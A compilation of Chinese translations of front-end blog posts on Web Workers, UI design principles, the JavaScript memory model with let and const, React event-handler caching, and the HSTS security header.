  • 复制消息:消息被序列化、复制、发送,然后在另一端反序列化。页面和 Worker 不共享相同的实例,因此最终的结果是每次传递都会创建一个副本大多数浏览器,在两边都是使用的JSON对值进行编码和解码,这样对数据的解码、编码操作,势必会增加消息传输过程的时间开销。信息越大,发送的时间就越长。

  • 传递消息:这意味着原始发送方在一旦发送后不能再使用它。传输数据几乎是瞬间的,这种传输方式的局限性在于只能用 ArrayBuffer 类型来传递。

Web Workers 可用的特性

由于 JavaScript的多线程特性,Web工作者只能访问JavaScript特性的一个子集。以下是它的一些特点:

Web Workers 由于具有多线程特性,因此只能访问 JavaScript 特性的子集。 以下是可使用特性列表:

  • navigator 对象
  • location 对象(只读)
  • MLHttpRequest
  • setTimeout()/clearTimeout() and setInterval()/clearInterval()
  • 应用缓存(Application Cache)
  • 使用 importScripts() 导入外部脚本
  • 创建其他的 Web Workers

Web Workers 的局限性

遗憾的是,Web Workers 无法访问一些非常关键的 JavaScript 特性:

  • DOM(它会造成线程不安全)
  • window 对象
  • document 对象
  • parent 对象

这意味着 Web Worker 不能操作 DOM (因此也不能操作 UI)。有时这可能很棘手,但是一旦你了解了如何正确使用 Web Workers,你就会开始将它们作为单独的“计算机”使用,而所有 UI 更改都将发生在你的页面代码中。 Workers 将为你完成所有繁重的工作,然后一旦完成再把结果返回给 page 页面。

处理错误

和 JavaScript 代码一样,Web workers 里抛出的错误,你也需要进行处理。当 Worker 执行过程中如果遇到错误,会触发一个 ErrorEvent 事件。接口包含了三个有用的属性来帮忙排查问题:

  • filename - 导致 Worker 的脚本名称
  • lineno - 发生错误的行号
  • ** message** - 对错误的描述

例子如下:

image

在这里,可以看到我们创建了一个 worker 并开始侦听错误事件。

image

在 worker 内部(在 workerWithError.js 中),我们通过将未定义 x 乘以 2 来创建一个异常。异常被传播到初始脚本,然后通过页面监听 error事件,对错误进行捕获。

5个好的 Web Workers 应用实例

到目前为止,我们已经列出了 Web Workers 的优点和局限性。现在让我们看看它们最强大的用例是什么:

  • Ray tracing(光线追踪):光线追踪是一种以像素为单位跟踪光的路径生成图像的渲染技术。光线追踪利用 CPU 密集型的数学计算来模拟光的路径。其**是模拟一些效果,如反射、折射、材料等。所有这些计算逻辑都可以添加到 Web Worker 中,以避免阻塞 UI线程。更好的是——可以很容易地在多个 workers 之间(以及在多个cpu之间)分割图像呈现。下面是一个使用 Web Workers 的光线追踪的简单演示—https://nerget.com/rayjs-mt/rayjs.html。

  • **Encryption(加密):**由于对个人和敏感数据的监管越来越严格,端到端加密越来越受欢迎。加密是一件非常耗时的事情,特别是如果有很多数据需要频繁加密(例如,在发送到服务器之前)。这是一个使用 Web Worker 非常好的场景,因为它不需要访问 DOM 或任何花哨的东西——它是完成其工作的纯算法。只要是在 Web Worker 中工作的,对于端用户就是无缝的,不会影响到体验。

  • **Prefetching data(预取数据):**为了优化你的网站或 web 应用程序并改进数据加载时间,你可以利用 Web Workers 提前加载和存储一些数据,以便在需要时稍后使用。Web Workers 在这种情况下非常棒,因为它们不会影响应用程序的UI,这与不使用Workers 时是不同的。

  • **Progressive Web Apps(渐进式Web应用程序):**这种渐进式Web应用程序要求,即使在用户网络不稳定的条件下,也能够迅速的加载。这意味着数据必须本地存储在浏览器中。这也是 IndexDB 或类似 api 发挥作用的地方。通常情况下,客户端的存储都是必要的,但使用起来需要不阻塞UI渲染线程,那么工作就需要在 Worker 中进行了。不过,以IndexDB 为例,它提供了一些异步的API,调用它们的话也不需要使用 web worker,但如果是同步的 API,就必须要在 Worker 中使用了。

  • **Spell checking(拼写检查):**一个基本的拼写检查程序的工作流程如下-程序读取一个字典文件与一个正确拼写单词列表。字典被解析为一个搜索树,以使实际的文本搜索更有效。当一个单词被提供给检查器时,程序检查它是否存在于预先构建的搜索树中。如果在树中没有找到该单词,可以通过替换替换字符并测试它是否是有效的单词(如果是用户想要写的单词),为用户提供替代拼写。所有的这些处理过程都可以在 Web Worker中进行了,用户可以不被阻塞的输入词汇和句子,Web Worker 在后台校验词汇是否正确以及提供备选词汇。

原文:

https://blog.sessionstack.com/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them-a547c0757f6a

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

####欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

创建华丽 UI 的 7条规则 第一部分 (2019年更新)

简介

首先也是比较重要的,先说明点这篇指南并不适合所有人,主要适合以下从业者:

  • 开发者希望能够在必要时设计出自己漂亮的 UI。

  • 用户体验设计师希望他们的产品组合看起来比五角呆板的 PPT 更好看或者让用户得到更好的用户体验。

本文中主要围绕以下 7 规则讲解:

  1. 光来自天空 (Light comes from the sky)

  2. 黑白优先 (Black and white first)

  3. 加倍你的空白 (Double your whitespace)

  4. 学习在图像上叠加文本的方法(Part 2) (Learn the methods of overlaying text on images)

  5. 使文本层次分明 (Part 2)( Make text pop — and un-pop )

  6. 使用好看的字体 (Part 2)(Only use good fonts)

  7. 像艺术家一样借鉴 (Part 2)(Steal like an artist)

规则一: 光来自天空 (Light comes from the sky)

大脑在理解我们看到的界面时,影子是至关重要的因素。

这可能是关于 UI 设计最重要又容易被忽视一个内容:光来自天空。 光线来自天空,从上往上,以至于从下往上的光让人看起来很怪异。

当光从天空而来时,它照亮事物的顶部,并在其下方投射阴影,物体的顶部比较亮,底部比较暗。

你不会希望人们的下眼睑都特别的黑吧,所以,如果我们在这些恶魔般的眼睛上面多加一些光亮,突然间他们就变成了你家门前的魔鬼女郎。

UI 也是一样,正如我们在所有的面部特征的下侧都有少量的阴影,大量 UI 元素的底面也有阴影 。我们的屏幕是平的,但我们已经投入了大量的艺术创作让元素富有 3D 效果

拿按钮举例,即使有了这个相对 “平面” 的按钮,仍然有一些与光线相关的细节:

  1. 未点击的按钮(顶部)底部具有黑色的底部边缘,正如夏天中午的,我们站在太阳时影子的样子。

  2. 未点击的按钮顶部的 亮度略高于底部。这是因为它模仿了一个稍微弯曲的表面,就像你需要把面前的镜子倾斜才能看到太阳一样,倾斜的表面会把更多的阳光反射到你身上。

  3. 未点击的按钮投射出一个稀薄地阴影——在放大的截图中能看的更清楚。

  4. 点击后的按钮,底部依然比顶部还要暗一些,并且整个按钮全都更暗。这是因为它与屏幕本身处于同一个平面,光线就不能轻易的照到它了。有人可能会说,我们在现实生活中看到的所有按键都是暗的,因为我们的手去按按钮时挡住了光线。

这只是个按钮而已,就已经呈现了4个细微的光线效果,我们现在要把光线理论用在所有地方。

iOS 6已经过时了,但它在轻度行为方面提供了一个很好的案例研究

iOS 6已经过时了,但它在轻度行为方面提供了一个很好的案例研究。

这是 iOS 6的两个设置—— “请勿打扰” 和 “通知”,看看它们有多少光线效果。

  • 嵌套控制面板的上边缘投射一个微小的阴影

  • “ON” 滑块轨道也跟着设置了一些阴影
    * “ON” 滑块表面是凹的,底部会反射更多光线

  • 顶部的边框颜色比较其它的深点,这代表一个垂直于光源的表面,因此接收到大量的光,因此将大量的光反射到你的眼睛中,导致周围会变暗点。

一个分栏凹槽的样式,来自于我曾经设计的Hubster

常见向内凹陷的视觉元素:

  • 文本输入框
  • 点击后的按钮
  • 滑块
  • 单选按钮(未选中)
  • 复选框

常见向外突出的视觉元素:

  • 按钮 (未点击)
  • 滑块按钮
  • 下拉控件
  • 卡片
  • 选中的单选按钮
  • 弹框

扁平化设如何

扁平化设计是一种视觉风格,其中的元素缺乏模拟的凹痕或凸出,它们只是纯色的线条和形状。

我和其他人一样喜欢干净和,但我不认为这是一个长期的趋势。如何将我们的界面用 3D 来在细微处进行模拟的更加自然,似乎很难将这种做法完全放弃。

五年前,我预测我们将会看到“扁平设计”的兴起,至少在 2019 年,这就是我们的现状——扁平干净外观的元素,加上一层阴影,帮助更加直接看到我们所想要看到的内容。

在平面设计中,当点击元素时,可以适当加些阴影效果增强体验。

扁平化设计的另一个例子:谷歌的 Material Design language

这才是我身边最常出现的事物,它使用微妙的现实世界的线索来表达展示事件特征。

也不能说它完全没有模拟真实世界,但是这不同于 2006 年的网页设计风格,并没有使用材质,渐变和光泽的情况出现。我认为扁平化是未来的一种趋势。

规则二:黑白优先 (Black and white first)

在添加颜色之前先进行灰度化设计可以简化视觉设计中最复杂的元素——并迫使用户关注元素的间距和布局。

最近用户体验设计师们热衷于**“移动优先”**的设计。这意味着,在 Retina 屏幕中,得想象页面上的交互在一个手机上是否行得通。

这种限制是有好处的,这有助于简化**。从较难的问题开始(在小屏幕上可用的应用程序),然后采用更容易的问题的解决方案(在大屏幕上可用的应用程序)。

这里有另一个类似的结束:黑白优先。首先是在没有色彩的帮助下让应用变得美观并且可用,最后添加色彩,仅此而已。

Haraldur Thorleifsson的灰度线框看上去要比少数设计师最终的网页设计作品还好

Haraldur Thorleifsson 的灰度线框图看起来和其他设计师的成品网站一样好。

这是一个可靠和简单的方法,可以让应用程序看起来 “干净” 和 “简单”。在过多的地方使用过多的颜色很容易搞砸设计的简单和干净。

**黑白优先 **迫使你首先关注空间、大小和布局,这些都是简洁设计的主要关注点。

经典灰度设计

在有些情况下,黑白优先没有那么有用。那些具有强烈的特定主题的设计——“运动”、“华丽”、“卡通”等等——需要一个能很好地运用色彩的设计师。但是大多数应用除了干净和简单之外,并没有特别强烈的需求属性。这些特定需求的设计难度也大得多。

对于其他的设计来讲,都是黑和白优先原则

步骤 2:怎么添加颜色

最简单的添加颜色是需要一种色调的。

在灰度网站上添加一种颜色可以简单有效地吸引眼球。

同样可以采取更深的一步。灰度 + 两种颜色,或者灰度 + 单一色调的多种颜色。

什么是色调

web 通常将颜色称为RGB十六进制代码,RGB 并非在设计中实现颜色的最优框架,更有用的是 HSB(H 代表色调,S 代表饱和度,B 代表亮度)(与HSV 同义,与 HSL 类似)。

HSB 比 RGB 更好,因为它符合我们对颜色自然的看法,并且可以观察到 HSB 值的变化所给你看到颜色来带的影响。

如果 HSB 对你来说是个新的东西,这里 HSB 颜色的 优质入门文章

《Smashing》 杂志的金色主题。

《Smashing》 杂志的蓝色主题。

通过修改单一色调的饱和度亮度,可以生成多种颜色——暗色调、灯光、背景、重点、吸引眼球的特效——而且不会让人眼花缭乱。

使用一种或两种基本色调的多种颜色是强调和中和元素的最可靠的方法,而且不会使设计变得混乱。

倒数计时器来自 Kerem Suer

关于颜色的其他一些补充

色彩是视觉设计中最复杂的领域。虽然很多关于色彩的东西在你完成设计时并不是很实用,但是我却看到了一些非常有用的东西:

* 学习 UI 设计:这是作者创建的一门课程,包含3个小时的彩色设计视频(以及 20 多个小时的 UI设计主题视频),观看地址 learnui.design

* 设计色彩学:一个实用的框架。

  • 永远不要使用黑色 (伊恩·斯托姆·泰勒):这篇文章谈到完全平面化的灰色几乎从来没有出现在现实世界中,同时它也提到了如何饱和灰色阴影 — 尤其是深色阴影 — 为设计增添了视觉丰富性。另外,饱和的灰色其实更贴近现实世界,这是它最美的地方。

  • Adobe Color CC:一个非常棒的工具,用于查找、修改和创建配色方案。

  • Dribbble search-by-color: 看看世界上最好的设计师正在使用什么颜色设计。

规则三:加倍你的空白 (Double your whitespace)

在规则 2 中,黑色优先 迫使设计师在考虑颜色之前考虑间距和布局,接下来谈谈间距和布局了。

如果你从头编写 HTML 代码,那么你可能熟悉默认情况下 HTML 在页面上的布局方式。

基本上,所有东西都挤在页面的顶部。字体很小,行与行之间没有空格,段落之间有一小段空白,但不多。段落一直延伸到页面的末尾,不管是 100px 还是 10000 px。

从美学角度来说,这太糟糕了,如果你想让 UI 看起来像设计好的,需要增加很多空白的间距。

以下是 Piotr Kwiatkowski 的音乐播放器概念图。

特别要注意左边的菜单。

菜单项之间的垂直空间是文本本身高度的两倍,上面和下面有同样多的内边距。

或者看看列表标题。“播放列表” 和下划线之间有 15px 的空间。这比字体本身还要高,更别提每个列表之间间隔了 25 个像素了。

顶部的导航条有更多的空间。文字“搜索音乐”占了整个导航条高度的20%。图标也使用了类似的高度。

左边栏的文字之间留出了比较充裕的空间,甚至更多。

Piotr 认真考虑在这里增加更多的空白,并且效果很好。尽管这只是它为了更多乐趣(据我所知),就美学而言,它非常漂亮,能够和市面上最好的音乐播放器UI界面相提并论。

适当的空白可以让一些最混乱的界面看起来更吸引人、更简单,就像论坛一样。

Forum 的概念设计,来自 Matt Sisto
或者维基百科

Wikipedia 概念设计,来自 Aurélien Salomon

你会发现对此有很多争论,比如说,维基百科的重新设计舍弃了一些关键的网站的功能,但是你不得不说这是一个很好的学习方式!

  • 在你的线条之间预留空间。

  • 在你的元素之间预留空间。

  • 在你的元素组之间预留空白。

要第二部分继续讨论:

4、学习在图像上叠加文本的方法(Part 2) (Learn the methods of overlaying text on images)

5、使文本层次分明 (Part 2)(Make text pop — and un-pop)

6、只使用好看的字体 (Part 2)(Only use good fonts)

7、像艺术家一样借鉴 (Part 2)(Steal like an artist)


原文:https://medium.com/@erikdkennedy/7-rules-for-creating-gorgeous-ui-part-1-559d4e805cda

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

21.JavaScript 是如何工作的:JavaScript 的内存模型

// 声明一些变量并初始化它们
var a = 5
let b = 'xy'
const c = true

// 分配新值
a = 6
b = b + 'z'
c = false //  类型错误:不可对常量赋值

作为程序员,声明变量、初始化变量(或不初始化变量)以及稍后为它们分配新值是我们每天都要做的事情。

但是当这样做的时候会发生什么呢? JavaScript 如何在内部处理这些基本功能? 更重要的是,作为程序员,理解 JavaScript 的底层细节对我们有什么好处。

下面,我打算介绍以下内容:

  • JS 原始数据类型的变量声明和赋值

  • JavaScript内存模型:调用堆栈和堆

  • JS 引用类型的变量声明和赋值

  • let vs const

JS 原始数据类型的变量声明和赋值

让我们从一个简单的例子开始。下面,我们声明一个名为myNumber的变量,并用值23初始化它。

let myNumber = 23

当执行此代码时,JS将执行:

  1. 为变量(myNumber)创建唯一标识符(identifier)。

  2. 在内存中分配一个地址(在运行时分配)。

  3. 将值 23 存储在分配的地址。

image

虽然我们通俗地说,“myNumber 等于 23”,更专业地说,myNumber 等于保存值 23 的内存地址,这是一个值得理解的重要区别。

如果我们要创建一个名为 newVar 的新变量并把 myNumber 赋值给它。

let newVar = myNumber

因为 myNumber 在技术上实际是等于 “0012CCGWH80”,所以 newVar 也等于 “0012CCGWH80”,这是保存值为23的内存地址。通俗地说就是 newVar 现在的值为 23

image

因为 myNumber 等于内存地址 0012CCGWH80,所以将它赋值给 newVar 就等于将0012CCGWH80 赋值给 newVar

现在,如果我这样做会发生什么:

myNumber = myNumber + 1

myNumber的值肯定是 24。但是newVar的值是否也为 24 呢?,因为它们指向相同的内存地址?

答案是否定的。由于JS中的原始数据类型是不可变的,当 myNumber + 1 解析为24时,JS 将在内存中分配一个新地址,将24作为其值存储,myNumber将指向新地址。

image

这是另一个例子:

let myString = 'abc'
myString = myString + 'd'

虽然一个初级 JS 程序员可能会说,字母d只是简单在原来存放adbc内存地址上的值,从技术上讲,这是错的。当 abcd 拼接时,因为字符串也是JS中的基本数据类型,不可变的,所以需要分配一个新的内存地址,abcd 存储在这个新的内存地址中,myString 指向这个新的内存地址。

image

下一步是了解原始数据类型的内存分配位置。

JavaScript 内存模型:调用堆栈和堆

JS 内存模型可以理解为有两个不同的区域:调用堆栈(call stack)和堆(heap)

image

调用堆栈是存放原始数据类型的地方(除了函数调用之外)。上一节中声明变量后调用堆栈的粗略表示如下。

image

在上图中,我抽象出了内存地址以显示每个变量的值。 但是,不要忘记实际上变量指向内存地址,然后保存一个值。 这将是理解 let vs. const 一节的关键。

是存储引用类型的地方。跟调用堆栈主要的区别在于,堆可以存储无序的数据,这些数据可以动态地增长,非常适合数组和对象。

JS 引用类型的变量声明和赋值

让我们从一个简单的例子开始。下面,我们声明一个名为myArray的变量,并用一个空数组初始化它。

let myArray = []

当你声明变量“myArray”并为其指定非原始数据类型(如“[]”)时,以下是在内存中发生的情况:

  1. 为变量创建唯一标识符(“myArray”)

  2. 在内存中分配一个地址(将在运行时分配)

  3. 存储在堆上分配的内存地址的值(将在运行时分配)

  4. 堆上的内存地址存储分配的值(空数组[])

image

image

从这里,我们可以 push, pop,或对数组做任何我们想做的。

myArray.push("first")
myArray.push("second")
myArray.push("third")
myArray.push("fourth")
myArray.pop()

image

let vs const

一般来说,我们应该尽可能多地使用const,只有当我们知道某个变量将发生改变时才使用let

让我们明确一下我们所说的**“改变”**是什么意思。

let sum = 0
sum = 1 + 2 + 3 + 4 + 5
let numbers = []
numbers.push(1)
numbers.push(2)
numbers.push(3)
numbers.push(4)
numbers.push(5)

这个程序员使用let正确地声明了sum,因为他们知道值会改变。但是,这个程序员使用let错误地声明了数组 numbers ,因为他将把东西推入数组理解为改变数组的值

解释**“改变”**的正确方法是更改内存地址let 允许你更改内存地址。const 不允许你更改内存地址。

const importantID = 489
importantID = 100 // 类型错误:赋值给常量变量

让我们想象一下这里发生了什么。

当声明importantID时,分配了一个内存地址,并存储489的值。记住,将变量importantID看作等于内存地址。

image

当将100分配给importantID时,因为100是一个原始数据类型,所以会分配一个新的内存地址,并将100的值存储这里。

然后 JS 尝试将新的内存地址分配给 importantID,这就是抛出错误的地方,这也是我们想要的行为,因为我们不想改变这个 importantID的值。

image

当你将100分配给importantID时,实际上是在尝试分配存储100的新内存地址,这是不允许的,因为importantID是用const声明的。

如上所述,假设的初级JS程序员使用let错误地声明了他们的数组。相反,他们应该用const声明它。这在一开始看起来可能令人困惑,我承认这一点也不直观。

初学者会认为数组只有在我们可以改变的情况下才有用,const 使数组不可变,那么为什么要使用它呢? 请记住:“改变”是指改变内存地址。让我们深入探讨一下为什么使用const声明数组是完全可以的。

const myArray = []

在声明 myArray 时,将在调用堆栈上分配内存地址,该值是在堆上分配的内存地址。堆上存储的值是实际的空数组。想象一下,它是这样的:

image

image

如果我们这么做:

myArray.push(1)
myArray.push(2)
myArray.push(3)
myArray.push(4)
myArray.push(5)

image

执行 push 操作实际是将数字放入堆中存在的数组。而 myArray 的内存地址没有改变。这就是为什么虽然使用const声明了myArray,但没有抛出任何错误。

myArray 仍然等于 0458AFCZX91,它的值是另一个内存地址22VVCX011,它在堆上有一个数组的值。

如果我们这样做,就会抛出一个错误:

myArray = 3

由于 3 是一个原始数据类型,因此生成一个新的调用堆栈上的内存地址,其值为 3,然后我们将尝试将新的内存地址分配给 myArray,由于myArray是用const声明的,所以这是不允许的。

image

另一个会抛出错误的例子:

myArray = ['a']

由于[a]是一个新的引用类型的数组,因此将分配调用堆栈上的一个新内存地址,并存储上的一个内存地址的值,其它值为 [a]。然后,我们尝试将调用堆栈内存地址分配给 myArray,这会抛出一个错误。

image

对于使用const声明的对象(如数组),由于对象是引用类型,因此可以添加键,更新值等等。

const myObj = {}
myObj['newKey'] = 'someValue' // 这不会抛出错误

为什么这些知识对我们有用呢

JavaScript 是世界上排名第一的编程语言(根据GitHub和Stack Overflow的年度开发人员调查)。 掌握并成为“JS忍者”是我们所有人都渴望成为的人。

任何质量好的的 JS 课程或书籍都提倡使用let, const 来代替 var,但他们并不一定说出原因。 对于初学者来说,为什么某些 const 变量在“改变”其值时会抛出错误而其他 const变量却没有。 对我来说这是有道理的,为什么这些程序员默认使用let到处避免麻烦。

但是,不建议这样做。谷歌拥有世界上最好的一些程序员,在他们的JavaScript风格指南中说,使用 constlet 声明所有本地变量。默认情况下使用 const,除非需要重新分配变量,不使用 var 关键字(原文)。

虽然他们没有明确说明原因,但据我所知,有几个原因

  1. 先发制人地限制未来的 bug。
  2. 使用 const 声明的变量必须在声明时初始化,这迫使程序员经常在范围方面更仔细地放置它们。这最终会导致更好的内存管理和性能。
  3. 要通过代码与任何可能遇到它的人交流,哪些变量是不可变的(就JS而言),哪些变量可以重新分配。

希望上面的解释能帮助你开始明白为什么或者什么时候应该在代码中使用 letconst

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

Web 性能优化:缓存 React 事件来提高性能

JavaScript中一个不被重视的概念是对象和函数是如何引用的,并且直接影响 React性能。 如果创建两个完全相同的函数,它们仍然不相等,试试下面的例子:

const functionOne = function() { alert('Hello world!'); };
const functionTwo = function() { alert('Hello world!'); };
functionOne === functionTwo; // false

但是,如果将变量指向一个已存在的函数,看看它们的差异:

const functionThree = function() { alert('Hello world!'); };
const functionFour = functionThree;
functionThree === functionFour; // true

对象的工作方式也是一样的。

const object1 = {};
const object2 = {};
const object3 = object1;
object1 === object2; // false
object1 === object3; // true

如果人有其他语言的经验,你可能熟悉指针。每次创建一个对象,计算机会为这个对象分配了一些内存。当声明 object1 ={} 时,已经在用户电脑中的 RAM(随机存取存储器) 中创建了一个专门用于object1 的字节块。可以将 object1 想象成一个地址,其中包含其键-值对在 RAM 中的位置。

当声明 object2 ={} 时,在用户的电脑中的 RAM 中创建了一个专门用于 object2 的不同字节块。object1 的地址与 object2 的地址是不一样的。这就是为什么这两个变量的等式检查没有通过的原因。它们的键值对可能完全相同,但是内存中的地址不同,这才是会被比较的地方。

当我赋值 object3 = object1 时,我将 object3 的值赋值为 object1 的地址,它不是一个新对象。它们在内存中的位置是相同的,可以这样验证:

const object1 = { x: true };
const object3 = object1;
object3.x = false;
object1.x; // false

在本例中,我在内存中创建了一个对象并取名为 object1。然后将 object3 指向 object1 这时它们的内存的地址中是相同的。

通过修改 object3,可以改变对应内存中的值,这也意味着所有指向该内存的变量都会被修改。obect1 的值也被改变了。

对于初级开发人员来说,这是一个非常常见的错误,可能需要一个更别深入的教程,但是本广是关于React 性能的,只是本文是讨论 React 性能的,甚至是对变量引用有较深资历的开发者也可能需要学习。

这与 React 有什么关系? React 有一种节省处理时间以提高性能的智能方法:如果组件的 propsstate 没有改变,那么render 的输出也一定没有改变。 显然,如果所有的都一样,那就意味着没有变化,如果没有任何改变,render 必须返回相同的输出,因此我们不必执行它。 这就是 React 快速的原因,它只在需要时渲染。

React 采用和 JavaScript 一样的方式,通过简单的 == 操作符来判断 propsstate 是否有变化。 React不会深入比较对象以确定它们是否相等。浅比较用于比较对象的每个键值对,而不是比较内存地址。深比较更进一步,如果键-值对中的任何值也是对象,那么也对这些键-值对进行比较。React 都不是:它只是检查引用是否相同。

如果要将组件的 prop 从 {x:1} 更改为另一个对象 {x:1},则 React 将重新渲染,因为这两个对象不会引用内存中的相同位置。 如果要将组件的 prop 从 object1(上面的例子)更改为 o bject3,则 React 不会重新呈现,因为这两个对象具有相同的引用。

在 JavaScript 中,函数的处理方式是相同的。如果 React 接收到具有不同内存地址的相同函数,它将重新呈现。如果 React 接收到相同的函数引用,则不会。

不幸的是,这是我在代码评审过程中遇到的常见场景:

class SomeComponent extends React.PureComponent {
  get instructions () {
    if (this.props.do) {
      return 'click the button: '
    }
    return 'Do NOT click the button: '
  }

  render() {
    return (
      <div>
        {this.instructions}
        <Button onClick={() => alert('!')} />
      </div>
    )
  }
}

这是一个非常简单的组件。 有一个按钮,当它被点击时,就 alert。 instructions 用来表示是否点击了按钮,这是通过 SomeComponent 的 prop 的 do={true}do={false} 来控制。

这里所发生的是,每当重新渲染 SomeComponent 组件(例如 dotrue 切换到 false)时,按钮也会重新渲染,尽管每次 onClick 方法都是相同的,但是每次渲染都会被重新创建。

每次渲染时,都会在内存中创建一个新函数(因为它是在 render 函数中创建的),并将对内存中新地址的新引用传递给 <Button />,虽然输入完全没有变化,该 Button 组件还是会重新渲染。

修复

如果函数不依赖于的组件(没有 this 上下文),则可以在组件外部定义它。 组件的所有实例都将使用相同的函数引用,因为该函数在所有情况下都是相同的。

const createAlertBox = () => alert('!');

class SomeComponent extends React.PureComponent {

  get instructions() {
    if (this.props.do) {
      return 'Click the button: ';
    }
    return 'Do NOT click the button: ';
  }

  render() {
    return (
      <div>
        {this.instructions}
        <Button onClick={createAlertBox} />
      </div>
    );
  }
}

和前面的例子相反,createAlertBox 在每次渲染中仍然有着有相同的引用,因此按钮就不会重新渲染了。

虽然 Button 是一个小型,快速渲染的组件,但你可能会在大型,复杂,渲染速度慢的组件上看到这些内联定义,它可能会让你的 React 应用程序陷入囧境,所以最好不要在 render 方法中定义这些函数。

如果函数确实依赖于组件,以至于无法在组件外部定义它,你可以将组件的方法作为事件处理传递过去:

class SomeComponent extends React.PureComponent {

  createAlertBox = () => {
    alert(this.props.message);
  };

  get instructions() {
    if (this.props.do) {
      return 'Click the button: ';
    }
    return 'Do NOT click the button: ';
  }

  render() {
    return (
      <div>
        {this.instructions}
        <Button onClick={this.createAlertBox} />
      </div>
    );
  }
}

在这种情况下,SomeComponent 的每个实例都有一个不同的警告框。 Button 的click事件侦听器需要独立于 SomeComponent。 通过传递 createAlertBox 方法,它就和 SomeComponent 重新渲染无关了,甚至和 message 这个属性是否修改也没有关系。createAlertBox 内存中的地址不会改变,这意味着 Button 不需要重新渲染,节省了处理时间并提高了应用程序的渲染速度

但如果函数是动态的呢?

修复(高级)

这里有个非常常见的使用情况,在简单的组件里面,有很多独立的动态事件监听器,例如在遍历数组的时候:

class SomeComponent extends React.PureComponent {
  render() {
    return (
      <ul>
        {this.props.list.map(listItem =>
          <li key={listItem.text}>
            <Button onClick={() => alert(listItem.text)} />
          </li>
        )}
      </ul>
    );
  }
}

在本例中,有一个可变数量的按钮,生成一个可变数量的事件监听器,每个监听器都有一个独特的函数,在创建 SomeComponent 时不可能知道它是什么。怎样才能解决这个难题呢?

输入记忆,或者简单地称为缓存。 对于每个唯一值,创建并缓存一个函数; 对于将来对该唯一值的所有引用,返回先前缓存的函数。

这就是我将如何实现上面的示例。

class SomeComponent extends React.PureComponent {
  // SomeComponent的每个实例都有一个单击处理程序缓存,这些处理程序是惟一的。

  clickHandlers = {};

  // 在给定唯一标识符的情况下生成或返回单击处理程序。
  getClickHandler(key) {
    // 如果不存在此唯一标识符的单击处理程序,则创建
    if (!Object.prototype.hasOwnProperty.call(this.clickHandlers, key)) {
      this.clickHandlers[key] = () => alert(key);
    }
    return this.clickHandlers[key];
  }
  render() {
    return (
      <ul>
        {this.props.list.map(listItem =>
          <li key={listItem.text}>
            <Button onClick={this.getClickHandler(listItem.text)} />
          </li>
        )}
      </ul>
    );
  }
}

数组中的每一项都通过 getClickHandler 方法传递。所述方法将在第一次使用值调用它时创建该值的唯一函数,然后返回该函数。以后对该方法的所有调用都不会创建一个新函数;相反,它将返回对先前在内存中创建的函数的引用。

因此,重新渲染 SomeComponent 不会导致按钮重新渲染。类似地,相似的,在 list 里面添加项也会为按钮动态地创建事件监听器。

当多个处理程序由多个变量确定时,可能需要使用自己的聪明才智为每个处理程序生成唯一标识符,但是在遍历里面,没有比每个 JSX 对象生成的 key 更简单得了。

这里使用 index 作为唯一标识会有个警告:如果列表更改顺序或删除项目,可能会得到错误的结果。

当数组从 ['soda','pizza'] 更改为 ['pizza'] 并且已经缓存了事件监听器为 listeners[0] = () => alert('soda') ,您会发现 用户点击提醒苏打水的披萨的now-index-0按钮。 但点击 index 为 0 的按钮 pizza 的时候,它将会弹出 soda。这也是 React 建议不要使用数组的索引作为 key 的原因。

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

Web 应用安全性: 使用这些 HTTP 头保护 Web 应用

目前,浏览器已经实现了大量与安全相关的头文件,使攻击者更难利用漏洞。接下来的讲解它们的使用方式、它们防止的攻击类型以及每个头后面的一些历史。

HTTP Strict Transport Security (HSTS)

HSTS(HTTP Strict Transport Security)国际互联网工程组织IETF正在推行一种新的Web安全协议,HSTS 的作用是强制客户端(如浏览器)使用 HTTPS 与服务器创建连接。

自 2012 年底以来,HTTPS 无处不在的支持者发现,由于 HTTP 严格传输安全性,强制客户端总是使用 HTTP 协议的安全版本更容易:一个非常简单的设置 Strict-Transport-Security: max-age=3600 将告诉浏览器 对于下一个小时(3600秒),它不应该与具有不安全协议的应用程序进行交互。

当用户尝试通过 HTTP 访问由 HSTS 保护的应用程序时,浏览器将拒绝继续访问,自动将 http:// 的 URL 转换为 https://

你可以使用 github.com/odino/wasec/tree/master/hsts 中的代码在本地测试这个。你需要遵循 README 中的说明(它们通过 mkcert 工具在你的电脑上的localhost 安装可信的 SSL 证书),然后尝试打开 https://localhost:7889

在这个示例中有两个服务器,一个 HTTPS 服务器监听 7889,另一个 HTTP 服务器监听端口 7888。当你访问 HTTPS 服务器时,它总是试图重定向到 HTTP 版本,这将正常工作,因为 HTTPS 服务器上没有 HSTS 策略。如果在 URL 中添加 hsts=on 参数,浏览器将强制将重定向中的链接转换为 https:// 版本。由于 7888 上的服务器只支持 http,所以最终将看到类似于这样的页面。

你可能想知道用户第一次访问你的网站时会发生什么,因为事先没有定义 HSTS 策略:攻击者可能会欺骗用户访问你网站的 http:// 版本并在那里进行攻击,所以仍然存在问题,因为 HSTS 是对首次使用机制的信任,它试图做的是确保,一旦你访问过网站,浏览器就知道后续交互必须使用 HTTPS

解决这个缺点的一个方法是维护一个海量的数据库,其中包含了执行 HSTS 的网站,这是Chrome 通过 hstspreload.org 实现的。你必须首先设置安全的方案,然后访问网站并检查它是否符合添加到数据库的条件。例如,我们可以在这看到 Facebook 榜上有名。

将你的的网站提交到这个列表中,就可以提前告诉浏览器你的网站使用 HSTS,这样即使客户端和服务器之间的第一次交互也将通过一个安全通道进行。但是这是有代价的,因为你确实需要投入到 HSTS 中。如果你希望你的网站从列表中删除,这对浏览器厂商来说不是件容易的事:

请注意,预加载列表中的内容无法轻松撤消。

